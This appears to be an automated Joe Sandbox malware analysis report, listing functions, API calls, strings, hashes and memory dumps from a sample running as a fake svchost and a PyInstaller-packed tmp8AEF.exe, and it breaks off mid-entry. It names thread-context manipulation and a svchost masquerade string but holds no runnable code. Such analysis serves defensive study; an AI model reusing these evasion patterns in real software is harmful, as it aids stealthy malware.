API String ID: 1646373207-4069603262
Opcode ID: d95c6e7916faab0d17594eb83d8a00f0299812b173539474de4610889b1bf182
Instruction ID: 06466fdf96f46c1bd12e88018d5f1679db8578393697463fd03d38161bd45e4c
Opcode Fuzzy Hash: d95c6e7916faab0d17594eb83d8a00f0299812b173539474de4610889b1bf182
Instruction Fuzzy Hash: 64E01A24D0DA42A1E6109B05E80072463A0BB4C380FA08630D49FC3270EF6CE1A98600

Function 00007FF60BF9BCD8 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF9BD60
_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF9BDBD
char_traits.LIBCPMTD ref: 00007FF60BF9BE2C
char_traits.LIBCPMTD ref: 00007FF60BF9BECF

Part of subcall function 00007FF60BF9B728: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF9B778
Part of subcall function 00007FF60BF9B728: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF9B826
Part of subcall function 00007FF60BF9B728: char_traits.LIBCPMTD ref: 00007FF60BF9B8FD

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Mtx_guardMtx_guard::~_$char_traits
String ID:
API String ID: 1723400902-0
Opcode ID: 3577689191e647b2eba0244f68066ee36e99a69f77505bdd8bbac9a00180cfdb
Instruction ID: 9fa1e85ddc64dc972aa22342ad7d30952158fc48dbb4e3b654abe385c3a6ba33
Opcode Fuzzy Hash: 3577689191e647b2eba0244f68066ee36e99a69f77505bdd8bbac9a00180cfdb
Instruction Fuzzy Hash: F151BE76A1CB8582DA10DF5AF45426EA761FBC9B84F104126EB9EC7B79DF3CD0418B00

Function 00007FF60BFB00B0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF60BFB011D
GetLastError.KERNEL32 ref: 00007FF60BFB012A
WideCharToMultiByte.KERNEL32 ref: 00007FF60BFB0173
GetLastError.KERNEL32 ref: 00007FF60BFB0185

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: cc073f878938fc799904678768523023e3297de0d63febdb3c1fef3ad7fee24c
Instruction ID: 1a871fddeb7e80399f3ee3f8a210da4ec8ebe29d2a47b13dad86e3231d983e5a
Opcode Fuzzy Hash: cc073f878938fc799904678768523023e3297de0d63febdb3c1fef3ad7fee24c
Instruction Fuzzy Hash: 44313232A0878282EB149B35A41057B76D5FB88BA4F248739EA9AD7BF5DF3CD0118714

Function 00007FF60BF82838 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32 ref: 00007FF60BF8289E
Wow64SetThreadContext.KERNEL32 ref: 00007FF60BF828CE
GetThreadContext.KERNEL32 ref: 00007FF60BF8292C

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: ContextThread$Wow64
String ID:
API String ID: 275855601-0
Opcode ID: 590e80803c6a6598f6d34bf0cb9d71fc8d16245109229eb697420b8701098099
Instruction ID: cf5a824fcc2c93b6c3918298861afd80843e37b5349505c2845a57e7bf6ec434
Opcode Fuzzy Hash: 590e80803c6a6598f6d34bf0cb9d71fc8d16245109229eb697420b8701098099
Instruction Fuzzy Hash: 6031E93260D6C696EB70CB15E44436AA7E5FB88B84F908536DA8EC3B68DF7CD544CB40

Function 00007FF60BF81E8C Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00007FF60BF81EAB
SetFilePointer.KERNEL32 ref: 00007FF60BF81ED1
WriteFile.KERNEL32 ref: 00007FF60BF81EFF
SetFilePointer.KERNEL32 ref: 00007FF60BF81F15

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: File$Pointer$SizeWrite
String ID:
API String ID: 2087530826-0
Opcode ID: 01f372b973729d4a890a8b11a1021b7c09579b66db996895b4a0bbe09a2f144b
Instruction ID: 9b0b7cb77ab1ab8f358b48b04d3551acb845f1f2e66659a2e0758d34971df4fc
Opcode Fuzzy Hash: 01f372b973729d4a890a8b11a1021b7c09579b66db996895b4a0bbe09a2f144b
Instruction Fuzzy Hash: 8F119A76A28A8197DB50DF2AE454A1AB761F7C9740F509125FA8FC3B28DF3DD5058B00

Function 00007FF60BF87DF4 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF60BF87E13

Part of subcall function 00007FF60BF8F830: shared_ptr.LIBCMTD ref: 00007FF60BF8F83E

shared_ptr.LIBCMTD ref: 00007FF60BF87E1D
allocator.LIBCPMTD ref: 00007FF60BF87E42
allocator.LIBCPMTD ref: 00007FF60BF87E56

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: shared_ptr$allocator
String ID:
API String ID: 426846764-0
Opcode ID: 46d84b3b4c7e8204a3866c78015af3c28403f43d119607c22453800ec736fa57
Instruction ID: 25fcf86a1d35f546aa9e1689fbeeab094979d39419a4a481f600d5ae1bcd0062
Opcode Fuzzy Hash: 46d84b3b4c7e8204a3866c78015af3c28403f43d119607c22453800ec736fa57
Instruction Fuzzy Hash: 0101BA6291CB8581EA11EB16E44106EA760FBC8B84F608532EACEC777ADF7CD551CB40

Function 00007FF60BF87B08 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF60BF87B3B

Part of subcall function 00007FF60BF8F8F8: shared_ptr.LIBCMTD ref: 00007FF60BF8F906

allocator.LIBCPMTD ref: 00007FF60BF87B48
shared_ptr.LIBCMTD ref: 00007FF60BF87B57
allocator.LIBCPMTD ref: 00007FF60BF87B64

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: shared_ptr$allocator
String ID:
API String ID: 426846764-0
Opcode ID: aa8f5e9cd53f442f27dac48b976c39207e82458efe65fc0543b9c79fb7a2506d
Instruction ID: 24b9c0ace3233e8bc8d2ab74dc2f5fc3dc40a69b3a85ef8ccbb2c0143cb2892f
Opcode Fuzzy Hash: aa8f5e9cd53f442f27dac48b976c39207e82458efe65fc0543b9c79fb7a2506d
Instruction Fuzzy Hash: 2601DB62A18B8581EA10EB16F45106EA3A1FBC9BC0F609531EA8E8777ADF6CD1518B00

Function 00007FF60BF88320 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

$, xrefs: 00007FF60BF88602
$, xrefs: 00007FF60BF883EA

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID:
String ID: $$$
API String ID: 0-233714265
Opcode ID: bea3f275805cb3c61198a70ac9404b13dde8b97b0dc19bbc96532ad67e767dc4
Instruction ID: 636da981950988e9504da076fe46844630a8bca966b2714bc7ee57ac4717408a
Opcode Fuzzy Hash: bea3f275805cb3c61198a70ac9404b13dde8b97b0dc19bbc96532ad67e767dc4
Instruction Fuzzy Hash: B1A1F92260DAC584DA70DB16E4903AEB7A0F7C9784F60C822DA8FD7B69DF6CD545CB00

Function 00007FF60BF82A40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BF81600: GetModuleHandleA.KERNEL32 ref: 00007FF60BF8160B
Part of subcall function 00007FF60BF81600: GetProcAddress.KERNEL32 ref: 00007FF60BF81622

lstrcatW.KERNEL32 ref: 00007FF60BF82ABA

Strings

-k DcomLaunch -p -s LSM, xrefs: 00007FF60BF82AAB
h, xrefs: 00007FF60BF82A80

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProclstrcat
String ID: -k DcomLaunch -p -s LSM$h
API String ID: 1163435009-3634226398
Opcode ID: cbf9cf48c1dc7b8f51cecc3bdd54dc2d48e6b5326227f3c12f8a5634a48434dd
Instruction ID: 7063eaf12eb8fcb1166aae6d4158a0b57134a074b43bf8d80bd3abedc7af8bc8
Opcode Fuzzy Hash: cbf9cf48c1dc7b8f51cecc3bdd54dc2d48e6b5326227f3c12f8a5634a48434dd
Instruction Fuzzy Hash: 9D21E732618B8196E7608F15F4443AAB7E5FB88784F608139E6CD83B68EF7DD1598F40

Function 00007FF60BF833F8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00007FF60BF8342E

Part of subcall function 00007FF60BFA240C: HeapFree.KERNEL32 ref: 00007FF60BFA2422
Part of subcall function 00007FF60BFA240C: _errno.LIBCMT ref: 00007FF60BFA242C
Part of subcall function 00007FF60BFA240C: GetLastError.KERNEL32 ref: 00007FF60BFA2434

free.LIBCMT ref: 00007FF60BF83448
malloc.LIBCMT ref: 00007FF60BF83463

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errnomalloc
String ID:
API String ID: 1225357528-0
Opcode ID: 5a7b4308a923f00615bebbf7bced7e92388ca8185c8d29abf5f0f076eaa07afc
Instruction ID: dd0d5b50d802ea6a15d07e852a00459367148c26c09a5d04ce4a3d4a9c595970
Opcode Fuzzy Hash: 5a7b4308a923f00615bebbf7bced7e92388ca8185c8d29abf5f0f076eaa07afc
Instruction Fuzzy Hash: 2D21C67291C64186E7B19B15E44472A72A0FB88B58F205135F68FC7AB9CFBCE5858F08

Analysis Process: tmp8AEF.exePID: 344, Parent PID: 2520COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	66

Executed Functions

Function 00007FF7CA791000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7CA793653
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7CA79378C
MEI, xrefs: 00007FF7CA79374E
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF7CA793A12
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF7CA793A31
pkg, xrefs: 00007FF7CA7937CF
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7CA793820
Failed to start splash screen!, xrefs: 00007FF7CA793933
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7CA7936FC
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7CA7937EF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7CA79391A
pyi-contents-directory, xrefs: 00007FF7CA7935F8
Failed to convert DLL search path!, xrefs: 00007FF7CA7938A3
pyi-disable-windowed-traceback, xrefs: 00007FF7CA79361D
_MEIPASS2, xrefs: 00007FF7CA7936A2, 00007FF7CA7936AE, 00007FF7CA7939AC
Could not create temporary directory!, xrefs: 00007FF7CA793838
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7CA793905
pyi-runtime-tmpdir, xrefs: 00007FF7CA7935D3

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
API String ID: 514040917-585287483
Opcode ID: 248bf1bb3e5757b3c8afa9bc96cec25a25ab213719c4b7e86d6d8a609cca38d4
Instruction ID: 538e011d137946bfc97a864317923fd5f9b93fe68f7a50e41baf04f09b6f111f
Opcode Fuzzy Hash: 248bf1bb3e5757b3c8afa9bc96cec25a25ab213719c4b7e86d6d8a609cca38d4
Instruction Fuzzy Hash: 82F1AF61A0868261FA14FF32B474AF9A361BF5C7A2FC440B6DA1D43692EF2CE554C360

Function 00007FF7CA7B5C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CA7B59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B59E9
Part of subcall function 00007FF7CA7B59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B5A67
Part of subcall function 00007FF7CA7B59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B5AB8

CreateFileW.KERNELBASE ref: 00007FF7CA7B5D7A
CreateFileW.KERNEL32 ref: 00007FF7CA7B5DCA
GetLastError.KERNEL32 ref: 00007FF7CA7B5DFA
GetFileType.KERNELBASE ref: 00007FF7CA7B5E0F
GetLastError.KERNEL32 ref: 00007FF7CA7B5E19
CloseHandle.KERNEL32 ref: 00007FF7CA7B5E4C
CloseHandle.KERNEL32 ref: 00007FF7CA7B5FAF
CreateFileW.KERNEL32 ref: 00007FF7CA7B5FE4
GetLastError.KERNEL32 ref: 00007FF7CA7B5FF3

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: 6798bf5561f63eb413830064ae0e49be6dbe10bc9b9e35f1db636e762b79dfd0
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: FDC1E172B28B4185FB10DF6AE0A06AC7761FB98BA9F801265DE1E5B394CF38D451C310

Function 00007FF7CA7979B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797A1B
RemoveDirectoryW.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797A9E
DeleteFileW.KERNELBASE(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797ABD
FindNextFileW.KERNELBASE(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797ACB
FindClose.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797ADC
RemoveDirectoryW.KERNELBASE(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797AE5

Strings

%s\*, xrefs: 00007FF7CA7979E2

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction ID: 80abd8950a2015ed5aae56bb5fd8ae3311cb3c64894ae9b80c3d978894136bca
Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction Fuzzy Hash: 90418121A0C64295FA20BF3AB4649FAA360FB9C776FC40273D95D42694DE3CD6498750

Function 00007FF7CA7985A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7CA7985D3
FindClose.KERNELBASE ref: 00007FF7CA7985E2

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 7809cd8405d3a0183a2d09d59aa69b0bff6986bdcfae487c5cd2646ec74e0990
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 5FF0C822A1874586F7609F71B4A8B66B360FB88739F84033AD97D066D4CF3CD0588B00

Function 00007FF7CA7AFBD8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: a8238ebacfbb29389201daedac3868d1c225100c6328c8ae619a1fe2ce119bc6
Instruction ID: 5a5cf20f6f4edabc28db81c6b699aad0805ef7908328283c7d62af0bd3845e72
Opcode Fuzzy Hash: a8238ebacfbb29389201daedac3868d1c225100c6328c8ae619a1fe2ce119bc6
Instruction Fuzzy Hash: 2402B022A1D74260FA55BF23B8352799284BF1DBB2FC466B5DD6D463D2DE3CA8118330

Function 00007FF7CA7918F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CA7976A0: _fread_nolock.LIBCMT ref: 00007FF7CA79774A

_fread_nolock.LIBCMT ref: 00007FF7CA7919B4

Part of subcall function 00007FF7CA792760: MessageBoxW.USER32 ref: 00007FF7CA79283B

Strings

malloc, xrefs: 00007FF7CA791AA8
Failed to seek to cookie position!, xrefs: 00007FF7CA791989
Could not read full TOC!, xrefs: 00007FF7CA791AD4
fread, xrefs: 00007FF7CA7919C6, 00007FF7CA791ADB
calloc, xrefs: 00007FF7CA7919F5
Failed to read cookie!, xrefs: 00007FF7CA7919BF
Could not allocate memory for archive structure!, xrefs: 00007FF7CA7919EE
MEI, xrefs: 00007FF7CA791931
Could not allocate buffer for TOC!, xrefs: 00007FF7CA791AA1
fseek, xrefs: 00007FF7CA791990
Error on file., xrefs: 00007FF7CA791B0A

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: c60f31d90617da9bd6efd05d10818b0c471ae56f5d8722fb5927d0269e83daa3
Instruction ID: 97c684da1bd20317123bda7fa7aab4def5129d99004653001d8efda2abe0edd6
